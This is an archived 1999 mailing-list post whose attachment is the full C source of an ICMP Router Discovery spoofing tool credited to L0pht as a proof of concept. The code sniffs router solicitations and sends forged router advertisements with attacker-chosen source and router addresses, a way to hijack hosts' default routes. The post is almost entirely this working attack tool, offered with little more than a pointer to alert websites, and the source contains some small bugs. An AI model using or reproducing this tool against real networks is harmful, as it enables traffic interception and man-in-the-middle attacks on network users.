[ale] DHCP server and linux and exclusion of MAC addresses

jj at spiderentertainment.com jj at spiderentertainment.com
Wed Nov 17 16:07:59 EST 1999


This is a multi-part message in MIME format.
--------------E52320916A41C4F07EA44990
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Here's the source code .... This has been well covered by many alert type websites.

check out l0pth.com  or whatever their web url is, I'm sure they have this






--------------E52320916A41C4F07EA44990
Content-Type: text/plain; charset=us-ascii;
 name="icmp_rdp.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="icmp_rdp.c"

/* 08/05/99
 * proof of concept tool by: 
 *   Silicosis (sili at l0pht.com) & Mudge (mudge at l0pht.com)
 *
 * Compile:
 *    gcc -g -o rdp icmp_rdp.c -lsocket -lnsl -lnet -lpcap
 *
 *    Requires Libnet  http://www.packetfactory.net/
 *             libpcap ftp://ee.lbl.gov/libpcap.tar.Z
 *
 * Tested under Solaris 2.6 & 2.7
 */

#include <stdlib.h>
#include <pcap.h>
#include <net/bpf.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include "rdp.h"

#define SNAPLEN 4096
#define PROMISC 1  /* 1 == TRUE, 0 == FALSE */

void print_packet(char *, unsigned int);
void print_icmp_rdisc(const char *pkt, unsigned int len, int flag);
pcap_t * getCaptureDev(char *device);
u_long getSourceAddr(const char *packet, unsigned int len);
void send_icmp_rdisc_response(int sock, struct values *value_pass);
void usage(char *);


int main(int argc, char *argv[]){

  char *interfaceStr = NULL;
  const u_char *pkt;
  extern char *optarg;
  int c, sock;
  int listen_flag=0, send_flag=0;
  pcap_t *capDev;
  struct pcap_pkthdr pkthdr;
  struct values value_pass;

  /* zero out the values struct */
  memset(&value_pass, '\0', sizeof(struct values));

  /* preset a few things here... */
  value_pass.lifetime = 3219800;
  value_pass.pref = 1000;
  value_pass.routeraddr2 = 0;
  while ((c = getopt(argc, argv, "vlsp:d:n:I:t:i:S:D:R:r:")) != EOF){
    switch (c) {
      case 'v':  /* VERBOSE */
        value_pass.verbose++;
        break;
      case 'l': /* Listen mode */ 
        listen_flag++;
        break;
      case 's': /* Send mode */
        send_flag++;
        break;
      case 'p':  /* preference level to attach to outgoing response */
        value_pass.pref = strtoul(optarg, (char **)NULL, 10);
        break;
      case 'd':  /* delay value in sending out packets *
        value_pass.delay = atoi(optarg);
        break;
      case 'n': /* number of router advert packets to send */
        value_pass.num_pkts = atoi(optarg);
        break;
      case 'I': /* ID value to place in IP packet */
        value_pass.id = atoi(optarg);
        break;
      case 't': /* lifeTime for rdp packet */
        value_pass.lifetime = atoi(optarg);
        break;
      case 'i':  /* INTERFACE */
        interfaceStr = optarg;
        break;
      case 'S': /* Source IP address to place in packet */
        value_pass.sourceaddr = libnet_name_resolve(optarg, 1);
        break;
      case 'D': /* Dest IP address to place in packet */
        value_pass.destaddr = libnet_name_resolve(optarg, 1);
        break;
      case 'R':
        value_pass.routeraddr = libnet_name_resolve(optarg, 1);
        break;
      case 'r':
	value_pass.routeraddr2 = libnet_name_resolve(optarg, 1);
        break;
      default:
        usage(argv[0]);
    }
  }

  /********************************************************
   * make sure the command line makes some sense...       *
   ********************************************************/

  /* if no interface was specified default to sun's hme0 */
  if (!interfaceStr)
    interfaceStr = "eth0";

  if (!listen_flag && !send_flag)
    usage(argv[0]);

  if (send_flag && !listen_flag && (value_pass.destaddr == 0)){
    /* if we are *just* sending then we need a dest
       addr... */
    usage(argv[0]);
  }

  /********************************************************
   * fill in values with defaults that weren't explicitly *
   * specified...                                         *
   ********************************************************/

  if ( value_pass.sourceaddr == 0 )
    value_pass.sourceaddr = inet_addr("1.1.1.1");

  if ( value_pass.routeraddr == 0 )
    value_pass.routeraddr = value_pass.sourceaddr;

  /* grab the socket for sending if specified */
  if (send_flag){
    if ((sock = libnet_open_raw_sock(IPPROTO_RAW)) == -1){
      perror("socket: ");
      exit(1);
    }
  }

  /********************************************************
   * Go at it - this is the entire high level section to  *
   * do the dirty work                                    *
   ********************************************************/

  if (listen_flag){
    capDev = (pcap_t *)getCaptureDev(interfaceStr);

    while (1){
      pkt = pcap_next(capDev, &pkthdr);
      if (!pkt)
        continue;

#ifdef DEBUG
      print_packet(pkt, pkthdr.caplen);
#endif

      if (send_flag){
        if (value_pass.destaddr == 0){ /* grab the dest addr from the
                                          sniffed packet */
          value_pass.destaddr = getSourceAddr(pkt, pkthdr.caplen);
        }
        send_icmp_rdisc_response(sock, &value_pass);
      }

      if (value_pass.verbose){
        print_icmp_rdisc(pkt, pkthdr.caplen, ETHER); 
      }
      pkt = NULL;
    }  

  } else { /* just sending */
    send_icmp_rdisc_response(sock, &value_pass);
  }

  /**********************************************************
   * We're done                                             *
   **********************************************************/
  exit(0);
}

void print_packet(char *packet, unsigned int len){
  int i;

  printf("-[packet len: %d]-\n", len);

  for (i=0; i < len; i++){
    if (i != 0 && i%20 == 0)
      printf("\n");
    printf("%.2x ", packet[i] & 0xff);
  }

  printf("\n");
}

/*****************************************************************
 * function: print_icmp_rdisc(const char *, u_int, int )         *
 * returns: none                                                 *
 *                                                               *
 * description: this routine prints out an ICMP packet in human  *
 *              readable format. This should only be handed      *
 *              ICMP packets with type code of 9 or 10...        *
 *              router advertisement or router solicitation      *
 *              packets.                                         *
 *              Little, if any, sanity checking is done here...  *
 *              If the final value is ETHER then it is assumed   *
 *              that an ether header is attached - otherwise     *
 *              NO_ETHER should be sent to this function         *
 *****************************************************************/
void print_icmp_rdisc(const char *pkt, unsigned int len, int flag){
  struct ip ipheader; /* done as a quick and easy force of alignment on 
                         sparcs */
  struct icmp_rdp_head rdp_head;
  char hold1[24], hold2[24];
  struct in_addr in_addr_holder;
  int i;
  char *ptr;

  /* smallest packet we should get would be a full ICMP router solicitation
     which would be ether (14 bytes), IP (minimum of 20 bytes w/o options),
     and ICMP router solicitation (8 bytes) 14+20+8 == 42 

     without ether would be IP + ICMP or 28 */

  switch(flag){
    case ETHER:
      if (len < 42){
        fprintf(stderr, "Something's wrong... ether packet too short\n");
        return;
      }
      memcpy(&ipheader, pkt + 14, sizeof(struct ip));
      memcpy(&rdp_head, ((char *)pkt + 14 + (ipheader.ip_hl << 2)), 
             sizeof(struct icmp_rdp_head));
      ptr = (char *)pkt + 14 + (ipheader.ip_hl << 2) + 8;
      break;
    case NO_ETHER:
      if (len < 28){
        fprintf(stderr, "Something's wrong... IP packet too short\n");
        return;
      }
      memcpy(&ipheader, pkt, sizeof(struct ip));
      memcpy(&rdp_head, ((char *)pkt + (ipheader.ip_hl << 2)),
             sizeof(struct icmp_rdp_head));
      ptr = (char *)pkt + (ipheader.ip_hl << 2) + 8;
      break;
  }


  strncpy(hold1, inet_ntoa(ipheader.ip_src), sizeof(hold1));
  strncpy(hold2, inet_ntoa(ipheader.ip_dst), sizeof(hold1));

  switch(rdp_head.type){
    case 10:
      printf("-=[ICMP router solicitation]=- ");
      printf("  %s -> %s\n", hold1, hold2);
      printf("[type %d - code %d - checksum 0x%4x]\n\n", rdp_head.type,
              rdp_head.code, rdp_head.cksum);
      break;
    case 9:
      printf("-=[ICMP router advertisement]=- ");
      printf(" %s -> %s\n", hold1, hold2);
      printf("[type %d - code %d - checksum 0x%4x]\n", rdp_head.type,
              rdp_head.code, rdp_head.cksum);
      printf("[addr # - %d - addr sizes - %d lifetime %d]\n", 
              rdp_head.u.a.number_of_addrs, rdp_head.u.a.addr_entry_size,
              rdp_head.u.a.lifetime);

      /* currently one should only see address entry sizes of 2, this
         handles the [1]router address and [2]preference level - since
         this is a proof of concept little tool and the current RFC (rfc1256)
         lists the current value at 2 we will "assume" as much, though we
         will still do some minimal sanity checking */

      if (rdp_head.u.a.addr_entry_size != 2){
        printf("-=[%d is a non-standard value for the current RFC (1256)]=-\n",
               rdp_head.u.a.addr_entry_size);
        return;
      }
      
#ifdef DEBUG
      printf("DEBUG: rdp_head.u.a.number_of_addrs << 1 = %d\n", 
             "len - 14 - (ipheader.len << 2) - 8 = %d\n\n",
              (rdp_head.u.a.number_of_addrs << 1), (len - 14 - 
              (ipheader.ip_hl << 2) - 8));
#endif


#ifdef OUT
      switch(flag){
        case ETHER:
          if ( (rdp_head.u.a.number_of_addrs << 1) != (len - 14 - 
              (ipheader.ip_hl << 2) - 8) ){
             printf("size mismatch with ether\n");
             return;
          }
          break;
        case NO_ETHER:
          if ( (rdp_head.u.a.number_of_addrs << 1) != (len - 
               (ipheader.ip_hl << 2) - 8)){
               printf("size mismatch with IP\n");
               return;
           }
           break;
      }
#endif
      
      for(i=0; i < rdp_head.u.a.number_of_addrs ; i++){
        memcpy(&in_addr_holder, ptr, sizeof(struct in_addr));
        printf("router %s - ", inet_ntoa(in_addr_holder));
        ptr += 4;
        printf("preference %d\n", *(u_short *)ptr);
        ptr += 4;
      }
      printf("\n\n");
      break;
    
  } 
}

void usage(char *prog){
  char *ptr;

  ptr = (char *)strrchr(prog, '/');
  if (ptr)
    ptr++;
  else
    prog = ptr;

  printf("ICMP Router Discovery Protocol Generator\n");
  printf("Usage: %s -v -l -s -d <delay> -p <pref>",ptr);
  printf(" -t <lifetime> -i <dev>\n\t   -S <src> -D <dst> -R <rtr>");
  printf(" -r <optional 2nd rtr>\n\n");
  printf("\t-v verbose\n\t-l listen mode\n\t-s send mode\n");
  printf("\t-d <delay time between sending packets>\n");
  printf("\t-n <number of rdp packets to send>\n");
  printf("\t-I <ID value to place in IP packet>\n");
  printf("\t-p <preference level>\n\t-t <lifetime>\n");
  printf("\t-i <interface to use for sniffing>\n");
  printf("\t-S <source address to put in outgoing rdp packet>\n");
  printf("\t-D <destination address to put in outgoing rdp packet>\n");
  printf("\t-R <router address to advertise in rdp packet>\n");
  printf("\t-r <optional 2nd router address to advertise in rdp packet>\n\n");
  exit(1);
}

pcap_t * getCaptureDev(char *device){
  pcap_t *capDev;
  char pcaperror[PCAP_ERRBUF_SIZE];

  /* tcpdump -dd proto 1 and 'icmp[0] == 9 or icmp[0] == 10' */
  static struct bpf_insn rdp[] = {
      { 0x28, 0, 0, 0x0000000c },
      { 0x15, 0, 9, 0x00000800 },
      { 0x30, 0, 0, 0x00000017 },
      { 0x15, 0, 7, 0x00000001 },
      { 0x28, 0, 0, 0x00000014 },
      { 0x45, 5, 0, 0x00001fff },
      { 0xb1, 0, 0, 0x0000000e },
      { 0x50, 0, 0, 0x0000000e },
      { 0x15, 1, 0, 0x00000009 },
      { 0x15, 0, 1, 0x0000000a },
      { 0x6,  0, 0, 0x00000044 },
      { 0x6,  0, 0, 0x00000000 }
  };
  struct bpf_program prog;

  capDev = pcap_open_live(device, SNAPLEN, PROMISC, 0, pcaperror);
  if (!capDev){
    fprintf(stderr, "%s\n", pcaperror);
    exit(1);
  }

  /* set the filter - this will cause us to only look at icmp packets
     that are either router advertisements or router solicitations.
     These are icmp type 9 and 10 respectively */

  prog.bf_len = sizeof(rdp) / sizeof(struct bpf_insn);
  prog.bf_insns = rdp;
  if (pcap_setfilter(capDev, &prog) != 0){
    fprintf(stderr, "failed to correctly set filter - D'oh!\n");
    exit(1);
  }

  return capDev;
}

u_long getSourceAddr(const char *packet, unsigned int len){
  struct ip ip_packet;

  memcpy(&ip_packet, packet + 14, sizeof(struct ip));

  return(ip_packet.ip_src.s_addr);
}

void send_icmp_rdisc_response(int sock, struct values *value_pass){
/*
   There are three ether addresses and three IP addresses that we should
   be attempting here to see who responds how -

   Router Advertisements
      Ether: 01:00:5e:00:00:01
      Ether: ff:ff:ff:ff:ff:ff
      Ether: unicast back to whomever sent the Solicitation

      IP: 224.0.0.1
      IP: 255.255.255.255
      IP: unicast back to whomever sent the Solicitation

   Router Solicitations
      Ether: 01:00:5e:00:00:02
      Ether: ff:ff:ff:ff:ff:ff
      Ether: try the unicast address of a router who has a multicast
             interface

      IP: 224.0.0.2
      IP: 255.255.255.255
      IP: unicast to address of a router who has a multicast interface

    The Ether multicast address is created as follows: The least significant
    23 bits of the ip address are placed into the least significant 23 bits
    of the Ethernet multicast addr 01:00:5e:00:00:00. Thus 224.0.0.2
    maps to 01:00:5e:00:00:02, etc.

     As for the actual RDP packet :

     ICMP Router Discovery Protocol
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
     |     Type      |     Code      |           Checksum            |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
     |   Num Addrs   |Addr Entry Size|           Lifetime            |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
     |                       Router Address[1]                       |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
     |                      Preference Level[1]                      |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

*/

  u_char *packet;
  struct icmp_rdp_head icmpPkt;
  struct icmp_rdp_advert ap;
  struct icmp_rdp_advert bp;
  struct ip *ip;
  int icmplen, acx;


  if (value_pass->routeraddr2 !=0)
    icmplen = 24; 
  else
    icmplen = 16;

  if ((packet = malloc(sizeof(struct ip) + icmplen)) == NULL) {
    perror("malloc: ");
    return;
  }

  /* sanitize... */
  memset(packet, '\0', sizeof(struct ip) + icmplen);
  libnet_build_ip(icmplen,                        /* Size of the payload */
                  0,                              /* IP TOS */
                  value_pass->id == 0 ? 12345+(random()%100): value_pass->id,
                                                  /* IP ID */
                  0,                              /* frag offset+flags */
                  255,                            /* TTL - this is 
                                                     intentionally larger than
                                                     what rfc 1256 wants */
                  IPPROTO_ICMP,                   /* Protocol */
                  value_pass->sourceaddr,         /* Source IP */
                  value_pass->destaddr,           /* Dest IP */
                  NULL,                           /* ptr to payload */
                  0,
                  packet);                        /* da packet */

  /* Create ICMP Header */
  memset(&icmpPkt, '\0', sizeof(struct icmp_rdp_head));
  icmpPkt.type = ICMP_ROUTERADVERT; 
  icmpPkt.code = 0;


  if (value_pass->routeraddr2 != 0){
    icmpPkt.u.a.number_of_addrs = 2;    
    icmpPkt.u.a.addr_entry_size = 2;
    /* commented out by Mjj
	icmpPkt.u.a.lifetime = htons(value_pass->lifetime);
    */
	icmpPkt.u.a.lifetime = 41654;
    memcpy((char *)(packet + sizeof(struct ip)), &icmpPkt, 
	   sizeof(struct icmp_rdp_head));    

    /* Create ICMP Router Advertisement */
    ap.ira_addr = value_pass->routeraddr;
    ap.ira_preference = htonl(value_pass->pref);
    memcpy(packet + sizeof(struct ip) + sizeof(struct icmp_rdp_head), 
	   &ap, sizeof(struct icmp_rdp_advert));
    
    /* Add the 2nd router.. */    
    ap.ira_addr = value_pass->routeraddr2;
    memcpy(packet + sizeof(struct ip) + sizeof(struct icmp_rdp_head) +
	   sizeof(struct icmp_rdp_head), &ap, sizeof(struct icmp_rdp_advert));
  }
  else {    
    icmpPkt.u.a.number_of_addrs = 1;    
    icmpPkt.u.a.addr_entry_size = 2;
    icmpPkt.u.a.lifetime = htons(value_pass->lifetime);
    memcpy((char *)(packet + sizeof(struct ip)), &icmpPkt, 
	   sizeof(struct icmp_rdp_head));
    /* Create ICMP Router Advertisement */
    ap.ira_addr = value_pass->routeraddr;
    ap.ira_preference = htonl(value_pass->pref);
    memcpy(packet + sizeof(struct ip) + sizeof(struct icmp_rdp_head), 
	   &ap, sizeof(struct icmp_rdp_advert));
  }

  /* Generate ICMP checksum. IP checksum *should* be handled *correctly*
     by the kernel */
  libnet_do_checksum(packet, IPPROTO_ICMP, icmplen);

  /* Send xx packets.. */

  /* pre-load to send one packet if no number was specified */
  if (value_pass->num_pkts == 0)
    value_pass->num_pkts = 10;

  for (acx = 0; acx < value_pass->num_pkts; acx++){
    if (libnet_write_ip(sock, packet, (sizeof(struct ip) + icmplen)) < 
        (sizeof(struct ip) + icmplen))
      perror("write_ip: ");
    else {
      if (value_pass->verbose)
        print_icmp_rdisc(packet, sizeof(struct ip) + icmplen, NO_ETHER);
      if (value_pass->delay)
        sleep(value_pass->delay);
    }
  }
}

--------------E52320916A41C4F07EA44990--






More information about the Ale mailing list